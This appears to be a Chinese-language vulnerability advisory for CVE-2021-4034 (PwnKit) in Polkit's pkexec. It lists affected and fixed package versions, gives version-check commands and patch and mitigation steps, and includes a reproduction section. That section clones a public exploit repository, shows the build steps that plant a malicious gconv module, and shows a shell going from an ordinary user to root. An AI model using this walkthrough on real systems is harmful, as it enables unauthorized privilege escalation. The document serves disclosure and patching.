漏洞描述Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。
影响范围受影响版本 注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。 不受影响版本 CentOS: - CentOS 6:polkit-0.96-11.el6_10.2
- CentOS 7:polkit-0.112-26.el7_9.1
- CentOS 8.0:polkit-0.115-13.el8_5.1
- CentOS 8.2:polkit-0.115-11.el8_2.2
- CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu: - Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
- Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
- Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
- Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
- Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
**Debain: - Debain stretch:policykit-1 0.105-18+deb9u2
- Debain buster:policykit-1 0.105-25+deb10u1
- Debain bullseye:policykit-1 0.105-31+deb11u1
- Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞检测版本检测Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS:
rpm -qa polkit
Ubuntu:
dpkg -l policykit-1
漏洞复现
git clone https://gitee.com/bilala/CVE-2021-4034.git
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ ls
Makefile README.md cve-2021-4034.c pwnkit.c
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ id
uid=1000(moke) gid=1000(moke) groups=1000(moke),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ whoami
moke
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ ./cve-2021-4034
'GCONV_PATH=.' Makefile README.md cve-2021-4034 cve-2021-4034.c gconv-modules pwnkit.c pwnkit.so
uid=1000(moke) gid=1000(moke) euid=0(root) groups=1000(moke),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
root
漏洞防护官方升级
下载链接:https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683
2、目前主流Linux发行版均已发布安全补丁或更新版本修复此漏洞,建议用户尽快安装补丁或参照官方措施进行防护:
Linux发行版
官方通告
Ubuntu
https://ubuntu.com/security/CVE-2021-4034
Debain
https://security-tracker.debian.org/tracker/CVE-2021-4034
Redhat
https://access.redhat.com/security/cve/CVE-2021-4034
Gentoo
https://bugs.gentoo.org/show_bug.cgi?id=CVE-2021-4034
Mageia
https://advisories.mageia.org/CVE-2021-4034.html
注:如CentOS、Ubuntu、Debian等使用包管理器更新Polkit的Linux发行版,可直接运行下列命令进行更新修复:
yum clean all && yum makecache
yum update polkit -y
sudo apt-get update
sudo apt-get install policykit-1
apt upgrade policykit-1
临时防护措施
chmod 0755 /usr/bin/pkexec
tips:可用于安全研究,切勿违法使用
|